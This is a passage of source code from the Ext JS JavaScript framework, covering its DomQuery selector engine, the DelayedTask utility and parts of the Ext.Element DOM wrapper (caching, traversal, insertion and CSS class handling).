if (cj.nodeName == utag || cj.nodeName == tagName || tagName == \"*\") {\n                            result[++ri] = cj\n                        }\n                    }\n                }\n            } else {\n                if (mode == \"+\") {\n                    var utag = tagName.toUpperCase();\n                    for (var i = 0, n; n = ns[i]; i++) {\n                        while ((n = n.nextSibling) && n.nodeType != 1) {\n                        }\n                        if (n && (n.nodeName == utag || n.nodeName == tagName || tagName == \"*\")) {\n                            result[++ri] = n\n                        }\n                    }\n                } else {\n                    if (mode == \"~\") {\n                        var utag = tagName.toUpperCase();\n                        for (var i = 0, n; n = ns[i]; i++) {\n                            while ((n = n.nextSibling)) {\n                                if (n.nodeName == utag || n.nodeName == tagName || tagName == \"*\") {\n                                    result[++ri] = n\n                                }\n                            }\n                        }\n                    }\n                }\n            }\n        }\n        return result\n    }\n\n    function concat(a, b) {\n        if (b.slice) {\n            return a.concat(b)\n        }\n        for (var i = 0, l = b.length; i < l; i++) {\n            a[a.length] = b[i]\n        }\n        return a\n    }\n\n    function byTag(cs, tagName) {\n        if (cs.tagName || cs == document) {\n            cs = [cs]\n        }\n        if (!tagName) {\n            return cs\n        }\n        var result = [], ri = -1;\n        tagName = tagName.toLowerCase();\n        for (var i = 0, ci; ci = cs[i]; i++) {\n            if (ci.nodeType == 1 && ci.tagName.toLowerCase() == tagName) {\n                result[++ri] = ci\n            }\n        }\n        return result\n    }\n\n    function byId(cs, id) {\n        if (cs.tagName || cs == document) {\n            cs = [cs]\n        }\n        if (!id) {\n            return cs\n        }\n        var result = [], ri = -1;\n        for (var i = 0, ci; ci = cs[i]; i++) {\n            if (ci && ci.id == id) {\n                result[++ri] = ci;\n                return result\n            }\n        }\n        return result\n    }\n\n    function byAttribute(cs, attr, value, op, custom) {\n        var result = [], ri = -1, useGetStyle = custom == \"{\", fn = Ext.DomQuery.operators[op], a, xml, hasXml;\n        for (var i = 0, ci; ci = cs[i]; i++) {\n            if (ci.nodeType != 1) {\n                continue\n            }\n            if (!hasXml) {\n                xml = Ext.DomQuery.isXml(ci);\n                hasXml = true\n            }\n            if (!xml) {\n                if (useGetStyle) {\n                    a = Ext.DomQuery.getStyle(ci, attr)\n                } else {\n                    if (attr == \"class\" || attr == \"className\") {\n                        a = ci.className\n                    } else {\n                        if (attr == \"for\") {\n                            a = ci.htmlFor\n                        } else {\n                            if (attr == \"href\") {\n                                a = ci.getAttribute(\"href\", 2)\n                            } else {\n                                a = ci.getAttribute(attr)\n                            }\n                        }\n                    }\n                }\n            } else {\n                a = ci.getAttribute(attr)\n            }\n            if ((fn && fn(a, value)) || (!fn && a)) {\n                result[++ri] = ci\n            }\n        }\n        return result\n    }\n\n    function byPseudo(cs, name, value) {\n        return Ext.DomQuery.pseudos[name](cs, value)\n    }\n\n    function nodupIEXml(cs) {\n        var d = ++key, r;\n        cs[0].setAttribute(\"_nodup\", d);\n        r = [cs[0]];\n        for (var i = 1, len = cs.length; i < len; i++) {\n            var c = cs[i];\n            if (!c.getAttribute(\"_nodup\") != d) {\n                c.setAttribute(\"_nodup\", d);\n                r[r.length] = c\n            }\n        }\n        for (var i = 0, len = cs.length; i < len; i++) {\n            cs[i].removeAttribute(\"_nodup\")\n        }\n        return r\n    }\n\n    function nodup(cs) {\n        if (!cs) {\n            return[]\n        }\n        var len = cs.length, c, i, r = cs, cj, ri = -1;\n        if (!len || typeof cs.nodeType != \"undefined\" || len == 1) {\n            return cs\n        }\n        if (isIE && typeof cs[0].selectSingleNode != \"undefined\") {\n            return nodupIEXml(cs)\n        }\n        var d = ++key;\n        cs[0]._nodup = d;\n        for (i = 1; c = cs[i]; i++) {\n            if (c._nodup != d) {\n                c._nodup = d\n            } else {\n                r = [];\n                for (var j = 0; j < i; j++) {\n                    r[++ri] = cs[j]\n                }\n                for (j = i + 1; cj = cs[j]; j++) {\n                    if (cj._nodup != d) {\n                        cj._nodup = d;\n                        r[++ri] = cj\n                    }\n                }\n                return r\n            }\n        }\n        return r\n    }\n\n    function quickDiffIEXml(c1, c2) {\n        var d = ++key, r = [];\n        for (var i = 0, len = c1.length; i < len; i++) {\n            c1[i].setAttribute(\"_qdiff\", d)\n        }\n        for (var i = 0, len = c2.length; i < len; i++) {\n            if (c2[i].getAttribute(\"_qdiff\") != d) {\n                r[r.length] = c2[i]\n            }\n        }\n        for (var i = 0, len = c1.length; i < len; i++) {\n            c1[i].removeAttribute(\"_qdiff\")\n        }\n        return r\n    }\n\n    function quickDiff(c1, c2) {\n        var len1 = c1.length, d = ++key, r = [];\n        if (!len1) {\n            return c2\n        }\n        if (isIE && typeof c1[0].selectSingleNode != \"undefined\") {\n            return quickDiffIEXml(c1, c2)\n        }\n        for (var i = 0; i < len1; i++) {\n            c1[i]._qdiff = d\n        }\n        for (var i = 0, len = c2.length; i < len; i++) {\n            if (c2[i]._qdiff != d) {\n                r[r.length] = c2[i]\n            }\n        }\n        return r\n    }\n\n    function quickId(ns, mode, root, id) {\n        if (ns == root) {\n            var d = root.ownerDocument || root;\n            return d.getElementById(id)\n        }\n        ns = getNodes(ns, mode, \"*\");\n        return byId(ns, id)\n    }\n\n    return{getStyle:function (el, name) {\n        return Ext.fly(el).getStyle(name)\n    }, compile:function (path, type) {\n        type = type || \"select\";\n        var fn = [\"var f = function(root){\\n var mode; ++batch; var n = root || document;\\n\"], mode, lastPath, matchers = Ext.DomQuery.matchers, matchersLn = matchers.length, modeMatch, lmode = path.match(modeRe);\n        if (lmode && lmode[1]) {\n            fn[fn.length] = 'mode=\"' + lmode[1].replace(trimRe, \"\") + '\";';\n            path = path.replace(lmode[1], \"\")\n        }\n        while (path.substr(0, 1) == \"/\") {\n            path = path.substr(1)\n        }\n        while (path && lastPath != path) {\n            lastPath = path;\n            var tokenMatch = path.match(tagTokenRe);\n            if (type == \"select\") {\n                if (tokenMatch) {\n                    if (tokenMatch[1] == \"#\") {\n                        fn[fn.length] = 'n = quickId(n, mode, root, \"' + tokenMatch[2] + '\");'\n                    } else {\n                        fn[fn.length] = 'n = getNodes(n, mode, \"' + tokenMatch[2] + '\");'\n                    }\n                    path = path.replace(tokenMatch[0], \"\")\n                } else {\n                    if (path.substr(0, 1) != \"@\") {\n                        fn[fn.length] = 'n = getNodes(n, mode, \"*\");'\n                    }\n                }\n            } else {\n                if (tokenMatch) {\n                    if (tokenMatch[1] == \"#\") {\n                        fn[fn.length] = 'n = byId(n, \"' + tokenMatch[2] + '\");'\n                    } else {\n                        fn[fn.length] = 'n = byTag(n, \"' + tokenMatch[2] + '\");'\n                    }\n                    path = path.replace(tokenMatch[0], \"\")\n                }\n            }\n            while (!(modeMatch = path.match(modeRe))) {\n                var matched = false;\n                for (var j = 0; j < matchersLn; j++) {\n                    var t = matchers[j];\n                    var m = path.match(t.re);\n                    if (m) {\n                        fn[fn.length] = t.select.replace(tplRe, function (x, i) {\n                            return m[i]\n                        });\n                        path = path.replace(m[0], \"\");\n                        matched = true;\n                        break\n                    }\n                }\n                if (!matched) {\n                    throw'Error parsing selector, parsing failed at \"' + path + '\"'\n                }\n            }\n            if (modeMatch[1]) {\n                fn[fn.length] = 'mode=\"' + modeMatch[1].replace(trimRe, \"\") + '\";';\n                path = path.replace(modeMatch[1], \"\")\n            }\n        }\n        fn[fn.length] = \"return nodup(n);\\n}\";\n        eval(fn.join(\"\"));\n        return f\n    }, jsSelect:function (path, root, type) {\n        root = root || document;\n        if (typeof root == \"string\") {\n            root = document.getElementById(root)\n        }\n        var paths = path.split(\",\"), results = [];\n        for (var i = 0, len = paths.length; i < len; i++) {\n            var subPath = paths[i].replace(trimRe, \"\");\n            if (!cache[subPath]) {\n                cache[subPath] = Ext.DomQuery.compile(subPath);\n                if (!cache[subPath]) {\n                    throw subPath + \" is not a valid selector\"\n                }\n            }\n            var result = cache[subPath](root);\n            if (result && result != document) {\n                results = results.concat(result)\n            }\n        }\n        if (paths.length > 1) {\n            return nodup(results)\n        }\n        return results\n    }, isXml:function (el) {\n        var docEl = (el ? el.ownerDocument || el : 0).documentElement;\n        return docEl ? docEl.nodeName !== \"HTML\" : false\n    }, select:document.querySelectorAll ? function (path, root, type) {\n        root = root || document;\n        if (!Ext.DomQuery.isXml(root)) {\n            try {\n                var cs = root.querySelectorAll(path);\n                return Ext.toArray(cs)\n            } catch (ex) {\n            }\n        }\n        return Ext.DomQuery.jsSelect.call(this, path, root, type)\n    } : function (path, root, type) {\n        return Ext.DomQuery.jsSelect.call(this, path, root, type)\n    }, selectNode:function (path, root) {\n        return Ext.DomQuery.select(path, root)[0]\n    }, selectValue:function (path, root, defaultValue) {\n        path = path.replace(trimRe, \"\");\n        if (!valueCache[path]) {\n            valueCache[path] = Ext.DomQuery.compile(path, \"select\")\n        }\n        var n = valueCache[path](root), v;\n        n = n[0] ? n[0] : n;\n        if (typeof n.normalize == \"function\") {\n            n.normalize()\n        }\n        v = (n && n.firstChild ? n.firstChild.nodeValue : null);\n        return((v === null || v === undefined || v === \"\") ? defaultValue : v)\n    }, selectNumber:function (path, root, defaultValue) {\n        var v = Ext.DomQuery.selectValue(path, root, defaultValue || 0);\n        return parseFloat(v)\n    }, is:function (el, ss) {\n        if (typeof el == \"string\") {\n            el = document.getElementById(el)\n        }\n        var isArray = Ext.isArray(el), result = Ext.DomQuery.filter(isArray ? el : [el], ss);\n        return isArray ? (result.length == el.length) : (result.length > 0)\n    }, filter:function (els, ss, nonMatches) {\n        ss = ss.replace(trimRe, \"\");\n        if (!simpleCache[ss]) {\n            simpleCache[ss] = Ext.DomQuery.compile(ss, \"simple\")\n        }\n        var result = simpleCache[ss](els);\n        return nonMatches ? quickDiff(result, els) : result\n    }, matchers:[\n        {re:/^\\.([\\w\\-]+)/, select:'n = byClassName(n, \" {1} \");'},\n        {re:/^\\:([\\w\\-]+)(?:\\(((?:[^\\s>\\/]*|.*?))\\))?/, select:'n = byPseudo(n, \"{1}\", \"{2}\");'},\n        {re:/^(?:([\\[\\{])(?:@)?([\\w\\-]+)\\s?(?:(=|.=)\\s?([\"']?)(.*?)\\4)?[\\]\\}])/, select:'n = byAttribute(n, \"{2}\", \"{5}\", \"{3}\", \"{1}\");'},\n        {re:/^#([\\w\\-]+)/, select:'n = byId(n, \"{1}\");'},\n        {re:/^@([\\w\\-]+)/, select:'return {firstChild:{nodeValue:attrValue(n, \"{1}\")}};'}\n    ], operators:{\"=\":function (a, v) {\n        return a == v\n    }, \"!=\":function (a, v) {\n        return a != v\n    }, \"^=\":function (a, v) {\n        return a && a.substr(0, v.length) == v\n    }, \"$=\":function (a, v) {\n        return a && a.substr(a.length - v.length) == v\n    }, \"*=\":function (a, v) {\n        return a && a.indexOf(v) !== -1\n    }, \"%=\":function (a, v) {\n        return(a % v) == 0\n    }, \"|=\":function (a, v) {\n        return a && (a == v || a.substr(0, v.length + 1) == v + \"-\")\n    }, \"~=\":function (a, v) {\n        return a && (\" \" + a + \" \").indexOf(\" \" + v + \" \") != -1\n    }}, pseudos:{\"first-child\":function (c) {\n        var r = [], ri = -1, n;\n        for (var i = 0, ci; ci = n = c[i]; i++) {\n            while ((n = n.previousSibling) && n.nodeType != 1) {\n            }\n            if (!n) {\n                r[++ri] = ci\n            }\n        }\n        return r\n    }, \"last-child\":function (c) {\n        var r = [], ri = -1, n;\n        for (var i = 0, ci; ci = n = c[i]; i++) {\n            while ((n = n.nextSibling) && n.nodeType != 1) {\n            }\n            if (!n) {\n                r[++ri] = ci\n            }\n        }\n        return r\n    }, \"nth-child\":function (c, a) {\n        var r = [], ri = -1, m = nthRe.exec(a == \"even\" && \"2n\" || a == \"odd\" && \"2n+1\" || !nthRe2.test(a) && \"n+\" + a || a), f = (m[1] || 1) - 0, l = m[2] - 0;\n        for (var i = 0, n; n = c[i]; i++) {\n            var pn = n.parentNode;\n            if (batch != pn._batch) {\n                var j = 0;\n                for (var cn = pn.firstChild; cn; cn = cn.nextSibling) {\n                    if (cn.nodeType == 1) {\n                        cn.nodeIndex = ++j\n                    }\n                }\n                pn._batch = batch\n            }\n            if (f == 1) {\n                if (l == 0 || n.nodeIndex == l) {\n                    r[++ri] = n\n                }\n            } else {\n                if ((n.nodeIndex + l) % f == 0) {\n                    r[++ri] = n\n                }\n            }\n        }\n        return r\n    }, \"only-child\":function (c) {\n        var r = [], ri = -1;\n        for (var i = 0, ci; ci = c[i]; i++) {\n            if (!prev(ci) && !next(ci)) {\n                r[++ri] = ci\n            }\n        }\n        return r\n    }, empty:function (c) {\n        var r = [], ri = -1;\n        for (var i = 0, ci; ci = c[i]; i++) {\n            var cns = ci.childNodes, j = 0, cn, empty = true;\n            while (cn = cns[j]) {\n                ++j;\n                if (cn.nodeType == 1 || cn.nodeType == 3) {\n                    empty = false;\n                    break\n                }\n            }\n            if (empty) {\n                r[++ri] = ci\n            }\n        }\n        return r\n    }, contains:function (c, v) {\n        var r = [], ri = -1;\n        for (var i = 0, ci; ci = c[i]; i++) {\n            if ((ci.textContent || ci.innerText || \"\").indexOf(v) != -1) {\n                r[++ri] = ci\n            }\n        }\n        return r\n    }, nodeValue:function (c, v) {\n        var r = [], ri = -1;\n        for (var i = 0, ci; ci = c[i]; i++) {\n            if (ci.firstChild && ci.firstChild.nodeValue == v) {\n                r[++ri] = ci\n            }\n        }\n        return r\n    }, checked:function (c) {\n        var r = [], ri = -1;\n        for (var i = 0, ci; ci = c[i]; i++) {\n            if (ci.checked == true) {\n                r[++ri] = ci\n            }\n        }\n        return r\n    }, not:function (c, ss) {\n        return Ext.DomQuery.filter(c, ss, true)\n    }, any:function (c, selectors) {\n        var ss = selectors.split(\"|\"), r = [], ri = -1, s;\n        for (var i = 0, ci; ci = c[i]; i++) {\n            for (var j = 0; s = ss[j]; j++) {\n                if (Ext.DomQuery.is(ci, s)) {\n                    r[++ri] = ci;\n                    break\n                }\n            }\n        }\n        return r\n    }, odd:function (c) {\n        return this[\"nth-child\"](c, \"odd\")\n    }, even:function (c) {\n        return this[\"nth-child\"](c, \"even\")\n    }, nth:function (c, a) {\n        return c[a - 1] || []\n    }, first:function (c) {\n        return c[0] || []\n    }, last:function (c) {\n        return c[c.length - 1] || []\n    }, has:function (c, ss) {\n        var s = Ext.DomQuery.select, r = [], ri = -1;\n        for (var i = 0, ci; ci = c[i]; i++) {\n            if (s(ss, ci).length > 0) {\n                r[++ri] = ci\n            }\n        }\n        return r\n    }, next:function (c, ss) {\n        var is = Ext.DomQuery.is, r = [], ri = -1;\n        for (var i = 0, ci; ci = c[i]; i++) {\n            var n = next(ci);\n            if (n && is(n, ss)) {\n                r[++ri] = ci\n            }\n        }\n        return r\n    }, prev:function (c, ss) {\n        var is = Ext.DomQuery.is, r = [], ri = -1;\n        for (var i = 0, ci; ci = c[i]; i++) {\n            var n = prev(ci);\n            if (n && is(n, ss)) {\n                r[++ri] = ci\n            }\n        }\n        return r\n    }}}\n}();\nExt.query = Ext.DomQuery.select;\nExt.util.DelayedTask = function (d, c, a) {\n    var e = this, g, b = function () {\n        clearInterval(g);\n        g = null;\n        d.apply(c, a || [])\n    };\n    e.delay = function (i, k, j, h) {\n        e.cancel();\n        d = k || d;\n        c = j || c;\n        a = h || a;\n        g = setInterval(b, i)\n    };\n    e.cancel = function () {\n        if (g) {\n            clearInterval(g);\n            g = null\n        }\n    }\n};\n(function () {\n    var h = document;\n    Ext.Element = function (l, m) {\n        var n = typeof l == \"string\" ? h.getElementById(l) : l, o;\n        if (!n) {\n            return null\n        }\n        o = n.id;\n        if (!m && o && Ext.elCache[o]) {\n            return Ext.elCache[o].el\n        }\n        this.dom = n;\n        this.id = o || Ext.id(n)\n    };\n    var d = Ext.DomHelper, e = Ext.Element, a = Ext.elCache;\n    e.prototype = {set:function (q, m) {\n        var n = this.dom, l, p, m = (m !== false) && !!n.setAttribute;\n        for (l in q) {\n            if (q.hasOwnProperty(l)) {\n                p = q[l];\n                if (l == \"style\") {\n                    d.applyStyles(n, p)\n                } else {\n                    if (l == \"cls\") {\n                        n.className = p\n                    } else {\n                        if (m) {\n                            n.setAttribute(l, p)\n                        } else {\n                            n[l] = p\n                        }\n                    }\n                }\n            }\n        }\n        return this\n    }, defaultUnit:\"px\", is:function (l) {\n        return Ext.DomQuery.is(this.dom, l)\n    }, focus:function (o, n) {\n        var l = this, n = n || l.dom;\n        try {\n            if (Number(o)) {\n                l.focus.defer(o, null, [null, n])\n            } else {\n                n.focus()\n            }\n        } catch (m) {\n        }\n        return l\n    }, blur:function () {\n        try {\n            this.dom.blur()\n        } catch (l) {\n        }\n        return this\n    }, getValue:function (l) {\n        var m = this.dom.value;\n        return l ? parseInt(m, 10) : m\n    }, addListener:function (l, o, n, m) {\n        Ext.EventManager.on(this.dom, l, o, n || this, m);\n        return this\n    }, removeListener:function (l, n, m) {\n        Ext.EventManager.removeListener(this.dom, l, n, m || this);\n        return this\n    }, removeAllListeners:function () {\n        Ext.EventManager.removeAll(this.dom);\n        return this\n    }, purgeAllListeners:function () {\n        Ext.EventManager.purgeElement(this, true);\n        return this\n    }, addUnits:function (l) {\n        if (l === \"\" || l == \"auto\" || l === undefined) {\n            l = l || \"\"\n        } else {\n            if (!isNaN(l) || !i.test(l)) {\n                l = l + (this.defaultUnit || \"px\")\n            }\n        }\n        return l\n    }, load:function (m, n, l) {\n        Ext.Ajax.request(Ext.apply({params:n, url:m.url || m, callback:l, el:this.dom, indicatorText:m.indicatorText || \"\"}, Ext.isObject(m) ? m : {}));\n        return this\n    }, isBorderBox:function () {\n        return Ext.isBorderBox || Ext.isForcedBorderBox || g[(this.dom.tagName || \"\").toLowerCase()]\n    }, remove:function () {\n        var l = this, m = l.dom;\n        if (m) {\n            delete l.dom;\n            Ext.removeNode(m)\n        }\n    }, hover:function (m, l, o, n) {\n        var p = this;\n        p.on(\"mouseenter\", m, o || p.dom, n);\n        p.on(\"mouseleave\", l, o || p.dom, n);\n        return p\n    }, contains:function (l) {\n        return !l ? false : Ext.lib.Dom.isAncestor(this.dom, l.dom ? l.dom : l)\n    }, getAttributeNS:function (m, l) {\n        return this.getAttribute(l, m)\n    }, getAttribute:(function () {\n        var p = document.createElement(\"table\"), o = false, m = \"getAttribute\" in p, l = /undefined|unknown/;\n        if (m) {\n            try {\n                p.getAttribute(\"ext:qtip\")\n            } catch (n) {\n                o = true\n            }\n            return function (q, s) {\n                var r = this.dom, t;\n                if (r.getAttributeNS) {\n                    t = r.getAttributeNS(s, q) || null\n                }\n                if (t == null) {\n                    if (s) {\n                        if (o && r.tagName.toUpperCase() == \"TABLE\") {\n                            try {\n                                t = r.getAttribute(s + \":\" + q)\n                            } catch (u) {\n                                t = \"\"\n                            }\n                        } else {\n                            t = r.getAttribute(s + \":\" + q)\n                        }\n                    } else {\n                        t = r.getAttribute(q) || r[q]\n                    }\n                }\n                return t || \"\"\n            }\n        } else {\n            return function (q, s) {\n                var r = this.om, u, t;\n                if (s) {\n                    t = r[s + \":\" + q];\n                    u = l.test(typeof t) ? undefined : t\n                } else {\n                    u = r[q]\n                }\n                return u || \"\"\n            }\n        }\n        p = null\n    })(), update:function (l) {\n        if (this.dom) {\n            this.dom.innerHTML = l\n        }\n        return this\n    }};\n    var k = e.prototype;\n    e.addMethods = function (l) {\n        Ext.apply(k, l)\n    };\n    k.on = k.addListener;\n    k.un = k.removeListener;\n    k.autoBoxAdjust = true;\n    var i = /\\d+(px|em|%|en|ex|pt|in|cm|mm|pc)$/i, c;\n    e.get = function (m) {\n        var l, p, o;\n        if (!m) {\n            return null\n        }\n        if (typeof m == \"string\") {\n            if (!(p = h.getElementById(m))) {\n                return null\n            }\n            if (a[m] && a[m].el) {\n                l = a[m].el;\n                l.dom = p\n            } else {\n                l = e.addToCache(new e(p))\n            }\n            return l\n        } else {\n            if (m.tagName) {\n                if (!(o = m.id)) {\n                    o = Ext.id(m)\n                }\n                if (a[o] && a[o].el) {\n                    l = a[o].el;\n                    l.dom = m\n                } else {\n                    l = e.addToCache(new e(m))\n                }\n                return l\n            } else {\n                if (m instanceof e) {\n                    if (m != c) {\n                        if (Ext.isIE && (m.id == undefined || m.id == \"\")) {\n                            m.dom = m.dom\n                        } else {\n                            m.dom = h.getElementById(m.id) || m.dom\n                        }\n                    }\n                    return m\n                } else {\n                    if (m.isComposite) {\n                        return m\n                    } else {\n                        if (Ext.isArray(m)) {\n                            return e.select(m)\n                        } else {\n                            if (m == h) {\n                                if (!c) {\n                                    var n = function () {\n                                    };\n                                    n.prototype = e.prototype;\n                                    c = new n();\n                                    c.dom = h\n                                }\n                                return c\n                            }\n                        }\n                    }\n                }\n            }\n        }\n        return null\n    };\n    e.addToCache = function (l, m) {\n        m = m || l.id;\n        a[m] = {el:l, data:{}, events:{}};\n        return l\n    };\n    e.data = function (m, l, n) {\n        m = e.get(m);\n        if (!m) {\n            return null\n        }\n        var o = a[m.id].data;\n        if (arguments.length == 2) {\n            return o[l]\n        } else {\n            return(o[l] = n)\n        }\n    };\n    function j() {\n        if (!Ext.enableGarbageCollector) {\n            clearInterval(e.collectorThreadId)\n        } else {\n            var l, n, q, p;\n            for (l in a) {\n                p = a[l];\n                if (p.skipGC) {\n                    continue\n                }\n                n = p.el;\n                q = n.dom;\n                if (!q || !q.parentNode || (!q.offsetParent && !h.getElementById(l))) {\n                    if (Ext.enableListenerCollection) {\n                        Ext.EventManager.removeAll(q)\n                    }\n                    delete a[l]\n                }\n            }\n            if (Ext.isIE) {\n                var m = {};\n                for (l in a) {\n                    m[l] = a[l]\n                }\n                a = Ext.elCache = m\n            }\n        }\n    }\n\n    e.collectorThreadId = setInterval(j, 30000);\n    var b = function () {\n    };\n    b.prototype = e.prototype;\n    e.Flyweight = function (l) {\n        this.dom = l\n    };\n    e.Flyweight.prototype = new b();\n    e.Flyweight.prototype.isFlyweight = true;\n    e._flyweights = {};\n    e.fly = function (n, l) {\n        var m = null;\n        l = l || \"_global\";\n        if (n = Ext.getDom(n)) {\n            (e._flyweights[l] = e._flyweights[l] || new e.Flyweight()).dom = n;\n            m = e._flyweights[l]\n        }\n        return m\n    };\n    Ext.get = e.get;\n    Ext.fly = e.fly;\n    var g = Ext.isStrict ? {select:1} : {input:1, select:1, textarea:1};\n    if (Ext.isIE || Ext.isGecko) {\n        g.button = 1\n    }\n})();\nExt.Element.addMethods(function () {\n    var d = \"parentNode\", b = \"nextSibling\", c = \"previousSibling\", e = Ext.DomQuery, a = Ext.get;\n    return{findParent:function (m, l, h) {\n        var j = this.dom, g = document.body, k = 0, i;\n        if (Ext.isGecko && Object.prototype.toString.call(j) == \"[object XULElement]\") {\n            return null\n        }\n        l = l || 50;\n        if (isNaN(l)) {\n            i = Ext.getDom(l);\n            l = Number.MAX_VALUE\n        }\n        while (j && j.nodeType == 1 && k < l && j != g && j != i) {\n            if (e.is(j, m)) {\n                return h ? a(j) : j\n            }\n            k++;\n            j = j.parentNode\n        }\n        return null\n    }, findParentNode:function (j, i, g) {\n        var h = Ext.fly(this.dom.parentNode, \"_internal\");\n        return h ? h.findParent(j, i, g) : null\n    }, up:function (h, g) {\n        return this.findParentNode(h, g, true)\n    }, select:function (g) {\n        return Ext.Element.select(g, this.dom)\n    }, query:function (g) {\n        return e.select(g, this.dom)\n    }, child:function (g, h) {\n        var i = e.selectNode(g, this.dom);\n        return h ? i : a(i)\n    }, down:function (g, h) {\n        var i = e.selectNode(\" > \" + g, this.dom);\n        return h ? i : a(i)\n    }, parent:function (g, h) {\n        return this.matchNode(d, d, g, h)\n    }, next:function (g, h) {\n        return this.matchNode(b, b, g, h)\n    }, prev:function (g, h) {\n        return this.matchNode(c, c, g, h)\n    }, first:function (g, h) {\n        return this.matchNode(b, \"firstChild\", g, h)\n    }, last:function (g, h) {\n        return this.matchNode(c, \"lastChild\", g, h)\n    }, matchNode:function (h, k, g, i) {\n        var j = this.dom[k];\n        while (j) {\n            if (j.nodeType == 1 && (!g || e.is(j, g))) {\n                return !i ? a(j) : j\n            }\n            j = j[h]\n        }\n        return null\n    }}\n}());\nExt.Element.addMethods(function () {\n    var c = Ext.getDom, a = Ext.get, b = Ext.DomHelper;\n    return{appendChild:function (d) {\n        return a(d).appendTo(this)\n    }, appendTo:function (d) {\n        c(d).appendChild(this.dom);\n        return this\n    }, insertBefore:function (d) {\n        (d = c(d)).parentNode.insertBefore(this.dom, d);\n        return this\n    }, insertAfter:function (d) {\n        (d = c(d)).parentNode.insertBefore(this.dom, d.nextSibling);\n        return this\n    }, insertFirst:function (e, d) {\n        e = e || {};\n        if (e.nodeType || e.dom || typeof e == \"string\") {\n            e = c(e);\n            this.dom.insertBefore(e, this.dom.firstChild);\n            return !d ? a(e) : e\n        } else {\n            return this.createChild(e, this.dom.firstChild, d)\n        }\n    }, replace:function (d) {\n        d = a(d);\n        this.insertBefore(d);\n        d.remove();\n        return this\n    }, replaceWith:function (d) {\n        var e = this;\n        if (d.nodeType || d.dom || typeof d == \"string\") {\n            d = c(d);\n            e.dom.parentNode.insertBefore(d, e.dom)\n        } else {\n            d = b.insertBefore(e.dom, d)\n        }\n        delete Ext.elCache[e.id];\n        Ext.removeNode(e.dom);\n        e.id = Ext.id(e.dom = d);\n        Ext.Element.addToCache(e.isFlyweight ? new Ext.Element(e.dom) : e);\n        return e\n    }, createChild:function (e, d, g) {\n        e = e || {tag:\"div\"};\n        return d ? b.insertBefore(d, e, g !== true) : b[!this.dom.firstChild ? \"overwrite\" : \"append\"](this.dom, e, g !== true)\n    }, wrap:function (d, e) {\n        var g = b.insertBefore(this.dom, d || {tag:\"div\"}, !e);\n        g.dom ? g.dom.appendChild(this.dom) : g.appendChild(this.dom);\n        return g\n    }, insertHtml:function (e, g, d) {\n        var h = b.insertHtml(e, this.dom, g);\n        return d ? Ext.get(h) : h\n    }}\n}());\nExt.Element.addMethods(function () {\n    var A = Ext.supports, h = {}, x = /(-[a-z])/gi, s = document.defaultView, D = /alpha\\(opacity=(.*)\\)/i, l = /^\\s+|\\s+$/g, B = Ext.Element, u = /\\s+/, b = /\\w/g, d = \"padding\", c = \"margin\", y = \"border\", t = \"-left\", q = \"-right\", w = \"-top\", o = \"-bottom\", j = \"-width\", r = Math, z = \"hidden\", e = \"isClipped\", k = \"overflow\", n = \"overflow-x\", m = \"overflow-y\", C = \"originalClip\", i = {l:y + t + j, r:y + q + j, t:y + w + j, b:y + o + j}, g = {l:d + t, r:d + q, t:d + w, b:d + o}, a = {l:c + t, r:c + q, t:c + w, b:c + o}, E = Ext.Element.data;\n\n    function p(F, G) {\n        return G.charAt(1).toUpperCase()\n    }\n\n    function v(F) {\n        return h[F] || (h[F] = F == \"float\" ? (A.cssFloat ? \"cssFloat\" : \"styleFloat\") : F.replace(x, p))\n    }\n\n    return{adjustWidth:function (F) {\n        var G = this;\n        var H = (typeof F == \"number\");\n        if (H && G.autoBoxAdjust && !G.isBorderBox()) {\n            F -= (G.getBorderWidth(\"lr\") + G.getPadding(\"lr\"))\n        }\n        return(H && F < 0) ? 0 : F\n    }, adjustHeight:function (F) {\n        var G = this;\n        var H = (typeof F == \"number\");\n        if (H && G.autoBoxAdjust && !G.isBorderBox()) {\n            F -= (G.getBorderWidth(\"tb\") + G.getPadding(\"tb\"))\n        }\n        return(H && F < 0) ? 0 : F\n    }, addClass:function (J) {\n        var K = this, I, F, H, G = [];\n        if (!Ext.isArray(J)) {\n            if (typeof J == \"string\" && !this.hasClass(J)) {\n                K.dom.className += \" \" + J\n            }\n        } else {\n            for (I = 0, F = J.length; I < F; I++) {\n                H = J[I];\n                if (typeof H == \"string\" && (\" \" + K.dom.className + \" \").indexOf(\" \" + H + \" \") == -1) {\n                    G.push(H)\n                }\n            }\n            if (G.length) {\n                K.dom.className += \" \" + G.join(\" \")\n            }\n        }\n        return K\n    }, removeClass:function (K) {\n        var L = this, J, G, F, I, H;\n        if (!Ext.isArray(K)) {\n            K = [K]\n        }\n        if (L.dom && L.dom.className) {\n            H = L.dom.className.replace(l, \"\").split(u);\n            for (J = 0, F = K.length; J < F; J++) {\n                I = K[J];\n                if (typeof I == \"string\") {\n                    I = I.replace(l, \"\");\n                    G = H.indexOf(I);\n                    if (G != -1) {\n                        H.splice(G, 1)\n                    }\n                }\n            }\n            L.dom.className = H.join(\" \")\n        }\n        return L\n    }, radioClass:function (I) {\n        var J = this.dom.parentNode.childNodes, G, H, F;\n        I = Ext.isArray(I) ? I : [I];\n        for (H = 0, F = J.length; H < F; H++) {\n            G = J[H];\n            if (G && G.nodeType == 1) {\n                Ext.fly(G, \"_internal\").removeClass(I)\n            }\n        }\n        return this.addClass(I)\n    }, toggleClass:function (F) {\n        return this.hasClass(F) ? this.removeClass(F) : this.addClass(F)\n    }, hasClass:function (F) {\n        return F && (\" \" + this.dom.className + \" \").indexOf(\" \" + F + \" \") != -1\n    }, replaceClass:function (G, F) {\n        return this.removeClass(G).addClass(F)\n    }, isStyle:function (F, G) {\n        return this.getStyle(F) == G\n    }, getStyle:function () {\n        return s && s.getComputedStyle ? function (K) {\n            var I = this.dom, F, H, G, J;\n            if (I == document) {\n                return null\n            }\n            K = v(K);\n            G = (F = I.style[K]) ? F : (H = s.getComputedStyle(I, \"\")) ? H[K] : null;\n            if (K == \"marginRight\" && G != \"0px\" && !A.correctRightMargin) {\n                J = I.style.display;\n                I.style.display = \"inline-block\";\n                G = s.getComputedStyle(I, \"\").marginRight;\n                I.style.display = J\n            }\n            if (K == \"backgroundColor\" && G == \"rgba(0, 0, 0, 0)\" && !A.correctTransparentColor) {\n                G = \"transparent\"\n            }\n            return G\n        } : function (J) {\n            var H = this.dom, F, G;\n            if (H == document) {\n                return null\n            }\n            if (J == \"opacity\") {\n                if (H.style.filter.match) {\n                    if (F = H.style.filter.match(D)) {\n                        var I = parseFloat(F[1]);\n                        if (!isNaN(I)) {\n                            return I ? I / 100 : 0\n                        }\n                    }\n                }\n                return 1\n            